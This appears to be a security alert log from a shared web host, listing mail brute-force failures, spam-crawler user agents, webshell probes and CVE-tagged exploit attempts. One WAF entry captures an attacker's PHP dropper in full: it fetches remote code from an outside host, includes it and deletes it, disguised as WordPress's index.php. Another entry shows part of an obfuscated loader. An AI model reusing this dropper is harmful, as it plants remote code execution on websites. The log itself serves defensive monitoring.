2026-07-07 10:21:21 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com ([182.139.39.150]) [213.66.196.11]:53994: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked?lang=EN\">1v1.lol unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.95.141.216
country_id: 1269750
description:
2026-07-07 10:20:58 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [59.95.141.216]:60308: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-07 10:22:32 dovecot_login authenticator failed for H=([119.198.191.180]) [182.78.87.2]:39018: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-07 10:24:34 dovecot_login authenticator failed for H=([49.124.154.172]) [121.131.220.168]:41373: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-07 10:24:53 dovecot_login authenticator failed for H=([213.154.80.21]) [65.20.217.64]:45426: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-07 10:25:08 dovecot_login authenticator failed for H=([182.78.10.145]) [202.62.88.25]:60308: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.175
country_id: 1733045
description:
2026-07-07 10:25:11 dovecot_login authenticator failed for H=([49.124.153.11]) [49.124.154.175]:46470: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-07 10:26:42 dovecot_login authenticator failed for H=([49.124.152.27]) [182.95.106.118]:48762: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-07 10:27:41 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net (171-100-121-127.static.asianet.co.th) [111.70.11.38]:54002: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.255.195
country_id: 1269750
description:
2026-07-07 10:27:08 dovecot_login authenticator failed for H=([187.50.122.20]) [103.176.255.195]:50198: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-07 10:27:46 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([197.219.208.38]) [90.230.115.5]:41064: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-07 10:27:56 dovecot_login authenticator failed for H=([121.139.106.117]) [85.152.57.60]:53794: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-07 10:28:15 dovecot_login authenticator failed for H=([46.201.247.21]) [206.62.136.109]:45334: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-07 10:30:52 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([98.181.137.75]) [213.65.190.48]:53688: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.3.210.204
country_id: 6252001
description:
2026-07-07 10:31:10 dovecot_login authenticator failed for H=160-3-210-204.cpe.sparklight.net (211-22-222-251.hinet-ip.hinet.net) [160.3.210.204]:56287: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.70.36
country_id: 1835841
description:
2026-07-07 10:32:42 dovecot_login authenticator failed for H=(netcomafrica.com) [182.31.70.36]:47956: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-07 10:32:08 dovecot_login authenticator failed for H=(186-201-12-209.customer.tdatabrasil.net.br) [182.95.181.138]:36860: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.91.20.141
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://en.chatruletka-18.com/big-tits\">https://en.chatruletka-18.com/big-tits</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.120.66.233
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/static/theme/img/wechat/help.php||SC:/home/fefkadirectors/public_html/static||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://onlyxvids.com/catalog/thai-xxx/\">\xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xad\xe0\xb9\x87\xe0\xb8\x81</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.79.59.1
country_id: 878675
description:
2026-07-07 10:39:36 dovecot_login authenticator failed for H=([5.48.46.95]) [41.79.59.1]:44394: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.181
country_id: 6252001
description:
2026-07-07 10:40:32 dovecot_login authenticator failed for H=([146.190.215.195]) [192.81.229.181]:38922: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 180.150.113.91
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.25||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Major||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-07 10:41:44 dovecot_login authenticator failed for H=([61.97.17.208]) [182.78.86.62]:36224: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-07 10:42:06 dovecot_login authenticator failed for H=([49.124.148.190]) [217.29.30.135]:53434: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.74.57.212
country_id: 933860
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 182.79.251.78
country_id: 1269750
description:
[2026-07-07 10:44:26 +0530] info [whostmgrd] 182.79.251.78 NEW root:1AZ_yJ4xiDM5jTul address=182.79.251.78,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.44.78.229
country_id: 1269750
description:
[2026-07-07 10:44:27 +0530] info [whostmgrd] 49.44.78.229 - ctVp "GET /login/?pass=__HIDDEN__&user=ctVp HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 69.48.202.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://maps.app.goo.gl/UwtZ6YQUzHhFhMzp9\">Divorce Lawyer nearby</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-07 10:52:25 dovecot_login authenticator failed for H=(syn-098-102-148-242.biz.spectrum.com) [65.20.211.96]:33666: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.248.218
country_id: 6252001
description:
2026-07-07 10:52:54 dovecot_login authenticator failed for H=([174.75.211.195]) [24.105.248.218]:42674: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.213
country_id: 1733045
description:
2026-07-07 10:57:09 dovecot_login authenticator failed for H=(134396.ip-ptr.tech) [49.124.149.213]:44244: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-07 10:57:21 dovecot_login authenticator failed for H=([49.124.146.40]) [64.49.97.15]:55064: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.36.209
country_id: 1835841
description:
2026-07-07 10:57:25 dovecot_login authenticator failed for H=([197.211.32.242]) [168.126.36.209]:50117: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-07 10:57:50 dovecot_login authenticator failed for H=(net-188-219-104-210.cust.vodafonedsl.it) [157.119.70.200]:55605: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-07 11:01:38 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([49.124.152.153]) [213.66.197.199]:56382: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-07 11:01:24 dovecot_login authenticator failed for H=([110.172.147.190]) [183.82.108.109]:43670: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.3
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb8\xab\xe0\xb8\xb5 (<a href=\"https://onlyxvids.com/video-tag/fujichan/\">onlyxvids.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 152.53.193.182
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s406461.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-07 11:04:33 dovecot_login authenticator failed for H=([70.166.167.42]) [14.32.231.200]:58392: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.145.62.32
country_id: 6252001
description:
2026-07-07 11:04:10 dovecot_login authenticator failed for H=47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net ([218.159.144.187]) [47.145.62.32]:36308: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-07 11:05:07 dovecot_login authenticator failed for H=([72.37.216.65]) [212.135.208.32]:47324: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-07 11:05:11 dovecot_login authenticator failed for H=([200.37.179.83]) [219.248.65.30]:59048: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-07 11:05:40 dovecot_login authenticator failed for H=([182.79.151.121]) [106.245.246.26]:45102: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-07 11:06:26 dovecot_login authenticator failed for H=([187.12.48.70]) [101.13.6.91]:57492: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-07 11:06:02 dovecot_login authenticator failed for H=([223.68.163.132]) [181.54.70.40]:42648: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.160.206
country_id: 1269750
description:
2026-07-07 11:06:08 dovecot_login authenticator failed for H=([85.113.142.194]) [125.19.160.206]:51558: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-07 11:06:13 dovecot_login authenticator failed for H=([192.252.211.196]) [88.255.189.50]:50417: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.228.152
country_id: 2661886
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:92.112.228.152||TA:92.112.228.152||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.136.219
country_id: 2510769
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:92.112.136.219||TA:92.112.136.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.235.121
country_id: 3077311
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:92.112.235.121||TA:92.112.235.121||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-07 11:11:29 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net ([121.139.106.117]) [221.120.77.34]:40569: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.227.159
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:142.111.227.159||TA:142.111.227.159||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://onlyxvids.com/catalog/thai-xxx/\">ONLYXVIDS</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.55.146.33
country_id: 1210997
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:62697.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ef83ffe1d3c8eb593a55cc2bf766148d8a60709b||Title:0x6c161d8a||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-07 11:30:08 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [101.13.6.86]:34136: 435 Unable to authenticate at present: unable to connect to UNIX socket (/var/run/dovecot/auth-client): Connection refused


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-07 11:32:15 dovecot_login authenticator failed for H=([31.173.2.182]) [125.130.102.172]:44158: 435 Unable to authenticate at present: unable to connect to UNIX socket (/var/run/dovecot/auth-client): Connection refused


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 11:34:50 vps dovecot[199918]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.168.173
country_id: 298795
description:
2026-07-07 11:38:53 dovecot_login authenticator failed for H=([1.250.67.114]) [5.11.168.173]:36162: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-07 11:38:53 dovecot_login authenticator failed for H=([191.217.23.65]) [82.16.221.216]:34430: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-07 11:40:54 dovecot_login authenticator failed for H=(wsip-70-175-180-147.pn.at.cox.net) [182.95.150.106]:36360: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-07 11:43:54 dovecot_login authenticator failed for H=([49.125.201.1]) [101.13.4.124]:57510: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-07 11:43:54 dovecot_login authenticator failed for H=([49.125.201.1]) [121.131.220.137]:60698: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.179.200.156
country_id: 3686110
description:
2026-07-07 11:44:54 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [45.179.200.156]:51776: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 11:46:05 vps dovecot[213707]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.25||T:APACHE||SC:/home/keralapeople/public_html/admin.php||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:189169||Sizes:7217||Combined size:7217||User:keralapeople||WPU:||Filename:index.php||Scanned:/tmp//20260707-114732-akyZ_FGhe7fDtM6lV9J_3QAAAA4-file-Kmstjp||SC:/home/keralapeople/public_html/admin.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/keralapeople/public_html/admin.php||User:keralapeople||WPU:||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\r\n goto wgkSo; vmbUs: $data1[\"\\162\\x65\\x71\\x5f\\x75\\x72\\x6c\


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.25||T:APACHE||SC:/home/keralapeople/public_html/admin.php||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:192273||Sizes:7217||Combined size:7217||User:keralapeople||WPU:||Filename:index.php||Scanned:/tmp//20260707-114904-akyaWFGhe7fDtM6lV9J_9wAAABc-file-GYBgD3||SC:/home/keralapeople/public_html/admin.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 45.195.56.246
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\r\n$f = @tempnam(@sys_get_temp_dir(),\"\");\r\n$handle = curl_init();\r\ncurl_setopt ($handle, CURLOPT_URL, 'https://z60706_16.isteklif.xyz/stat/index.txt');\r\ncurl_setopt ($handle, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt ($handle, CURLOPT_CONNECTTIMEOUT, 5);\r\n$result = curl_exec( $handle );\r\nif ( PHP_VERSION_ID < 80000 ) {\r\n    curl_close(  $handle  );\r\n}\r\n@file_put_contents($f, $result);\r\n@include $f;\r\n@unlink($f);\r\n/**\r\n * Front to the WordPress application. This file doesn't do anything, but loads\r\n * wp-blog-header.php which does and tells WordPress to load the theme.\r\n *\r\n * @package WordPress\r\n */\r\n\r\n/**\r\n * Tells WordPress to load the WordPress theme and output it.\r\n *\r\n * @var bool\r\n */\r\ndefine( 'WP_USE_THEMES', true );\r\n\r\n/** Loads the WordPress Environment and Template */\r\nrequire __DIR__ . '/wp-blog-header.php';||MVN:ARGS:data||RSV:8.25||T:APACHE||SC:/home/keralapeople/public_html/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-07 11:49:08 dovecot_login authenticator failed for H=([192.111.134.12]) [190.157.13.210]:43696: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 11:50:08 vps dovecot[221268]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 11:50:26 vps dovecot[221915]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.227
country_id: 130758
domain: interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783405264728.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.127.101.225
country_id: 1880251
description:
2026-07-07 11:50:40 dovecot_login authenticator failed for H=([218.156.93.203]) [101.127.101.225]:57120: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-07 11:51:28 dovecot_login authenticator failed for H=(nsg-static-106.102.72.182.airtel.in) [65.181.79.60]:54729: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-07 11:51:28 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([70.166.167.35]) [71.229.1.186]:51892: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.227
country_id: 130758
domain: www.interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783405308488.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.227
country_id: 130758
domain: yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783405360100.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.184.93.147
country_id: 953987
description:
2026-07-07 11:53:28 dovecot_login authenticator failed for H=([49.125.203.166]) [105.184.93.147]:45324: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-07 11:53:28 dovecot_login authenticator failed for H=([89.175.199.86]) [197.219.208.58]:48456: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.214.96.183
country_id: 1269750
description:
2026-07-07 11:54:28 dovecot_login authenticator failed for H=(v157-7-200-152.cwit.static.cnode.io) [103.214.96.183]:55926: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.5
country_id: 1733045
description:
2026-07-07 11:54:28 dovecot_login authenticator failed for H=([122.187.174.78]) [49.124.151.5]:60494: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 11:55:29 vps dovecot[226786]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-07 11:57:51 dovecot_login authenticator failed for H=(95-31-209-102.broadband.corbina.ru) [220.72.198.61]:49413: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.149.142.17
country_id: 630336
description:
2026-07-07 11:57:51 dovecot_login authenticator failed for H=(232.subnet-213.matrixglobal.net.id) [91.149.142.17]:42702: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-07 11:57:51 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([70.166.167.44]) [87.115.211.6]:34834: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.87.152
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/index.php||


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 12:00:22 vps dovecot[227687]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 162.216.148.10
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  7 12:05:46 vps dovecot[228597]: master: Dovecot v2.4.4 (8b687aa65c) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://denver.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.57
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://onlyxvids.com/video-tag/fujichan/\">ONLYXVIDS</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
